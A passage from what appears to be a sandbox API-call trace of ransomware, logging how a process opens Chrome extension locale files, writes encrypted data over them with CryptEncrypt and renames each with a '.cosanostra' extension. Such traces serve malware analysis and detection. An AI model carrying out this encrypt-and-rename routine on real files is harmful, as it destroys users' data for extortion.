Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.385] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json") returned 157 [0085.385] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.386] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.386] WriteFile (in: hFile=0x18c, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf85c, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x2abf85c*=0xb3, lpOverlapped=0x0) returned 1 [0085.386] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.386] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf89c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf85c, lpOverlapped=0x0 | out: lpBuffer=0x2abf89c*, lpNumberOfBytesWritten=0x2abf85c*=0x4, lpOverlapped=0x0) returned 1 [0085.386] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf85c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf85c*=0x30, lpOverlapped=0x0) returned 1 [0085.386] CloseHandle (hObject=0x18c) returned 1 [0085.387] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json.cosanostra")) returned 1 [0085.388] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf898 | out: pbBuffer=0x2abf898) returned 1 [0085.388] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf890*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf890*=0x30) returned 1 [0085.388] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.389] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json") returned 157 [0085.389] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.389] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.389] WriteFile (in: hFile=0x18c, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf854, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x2abf854*=0xb3, lpOverlapped=0x0) returned 1 [0085.390] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.390] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf894*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf854, lpOverlapped=0x0 | out: lpBuffer=0x2abf894*, lpNumberOfBytesWritten=0x2abf854*=0x4, lpOverlapped=0x0) returned 1 [0085.390] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf854, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf854*=0x30, lpOverlapped=0x0) returned 1 [0085.390] CloseHandle (hObject=0x18c) returned 1 [0085.390] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json.cosanostra")) returned 1 [0085.393] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf890 | out: pbBuffer=0x2abf890) returned 1 [0085.393] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf888*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf888*=0x30) returned 1 [0085.393] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.394] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json") returned 160 [0085.394] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.395] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.395] WriteFile (in: hFile=0x18c, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf84c, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x2abf84c*=0xb3, lpOverlapped=0x0) returned 1 [0085.395] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.395] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf88c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf84c, lpOverlapped=0x0 | out: lpBuffer=0x2abf88c*, lpNumberOfBytesWritten=0x2abf84c*=0x4, lpOverlapped=0x0) returned 1 [0085.395] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf84c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf84c*=0x30, lpOverlapped=0x0) returned 1 [0085.395] CloseHandle (hObject=0x18c) returned 1 [0085.396] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_PT\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_pt\\messages.json.cosanostra")) returned 1 [0085.398] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf888 | out: pbBuffer=0x2abf888) returned 1 [0085.398] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf880*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf880*=0x30) returned 1 [0085.398] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.398] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json") returned 160 [0085.398] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.445] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.445] WriteFile (in: hFile=0x18c, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf844, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x2abf844*=0xb3, lpOverlapped=0x0) returned 1 [0085.445] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.445] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf884*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf844, lpOverlapped=0x0 | out: lpBuffer=0x2abf884*, lpNumberOfBytesWritten=0x2abf844*=0x4, lpOverlapped=0x0) returned 1 [0085.445] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf844, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf844*=0x30, lpOverlapped=0x0) returned 1 [0085.445] CloseHandle (hObject=0x18c) returned 1 [0085.445] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_BR\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pt_br\\messages.json.cosanostra")) returned 1 [0085.447] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf880 | out: pbBuffer=0x2abf880) returned 1 [0085.447] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf878*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf878*=0x30) returned 1 [0085.447] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.447] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json") returned 157 [0085.448] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.459] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.459] WriteFile (in: hFile=0x18c, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf83c, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x2abf83c*=0xb3, lpOverlapped=0x0) returned 1 [0085.459] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.459] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf87c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf83c, lpOverlapped=0x0 | out: lpBuffer=0x2abf87c*, lpNumberOfBytesWritten=0x2abf83c*=0x4, lpOverlapped=0x0) returned 1 [0085.459] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf83c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf83c*=0x30, lpOverlapped=0x0) returned 1 [0085.459] CloseHandle (hObject=0x18c) returned 1 [0085.459] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hu\\messages.json.cosanostra")) returned 1 [0085.461] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf878 | out: pbBuffer=0x2abf878) returned 1 [0085.461] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf870*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf870*=0x30) returned 1 [0085.461] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.462] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json") returned 157 [0085.462] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.463] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.463] WriteFile (in: hFile=0x18c, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf834, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x2abf834*=0xb3, lpOverlapped=0x0) returned 1 [0085.463] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.463] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf874*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf834, lpOverlapped=0x0 | out: lpBuffer=0x2abf874*, lpNumberOfBytesWritten=0x2abf834*=0x4, lpOverlapped=0x0) returned 1 [0085.463] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf834, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf834*=0x30, lpOverlapped=0x0) returned 1 [0085.463] CloseHandle (hObject=0x18c) returned 1 [0085.463] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json.cosanostra")) returned 1 [0085.464] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf870 | out: pbBuffer=0x2abf870) returned 1 [0085.465] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf868*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf868*=0x30) returned 1 [0085.465] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.465] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json") returned 157 [0085.465] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.466] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.466] WriteFile (in: hFile=0x18c, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf82c, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x2abf82c*=0xb3, lpOverlapped=0x0) returned 1 [0085.466] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.466] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf86c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf82c, lpOverlapped=0x0 | out: lpBuffer=0x2abf86c*, lpNumberOfBytesWritten=0x2abf82c*=0x4, lpOverlapped=0x0) returned 1 [0085.466] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf82c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf82c*=0x30, lpOverlapped=0x0) returned 1 [0085.466] CloseHandle (hObject=0x18c) returned 1 [0085.466] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json.cosanostra")) returned 1 [0085.468] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf868 | out: pbBuffer=0x2abf868) returned 1 [0085.468] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abf860*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abf860*=0x30) returned 1 [0085.468] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0085.468] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json") returned 157 [0085.468] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.469] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.469] WriteFile (in: hFile=0x18c, lpBuffer=0x3014a40*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x2abf824, lpOverlapped=0x0 | out: lpBuffer=0x3014a40*, lpNumberOfBytesWritten=0x2abf824*=0xb3, lpOverlapped=0x0) returned 1 [0085.469] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.469] WriteFile (in: hFile=0x18c, lpBuffer=0x2abf864*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf824, lpOverlapped=0x0 | out: lpBuffer=0x2abf864*, lpNumberOfBytesWritten=0x2abf824*=0x4, lpOverlapped=0x0) returned 1 [0085.469] WriteFile (in: hFile=0x18c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf824, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x2abf824*=0x30, lpOverlapped=0x0) returned 1 [0085.469] CloseHandle (hObject=0x18c) returned 1 [0085.469] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 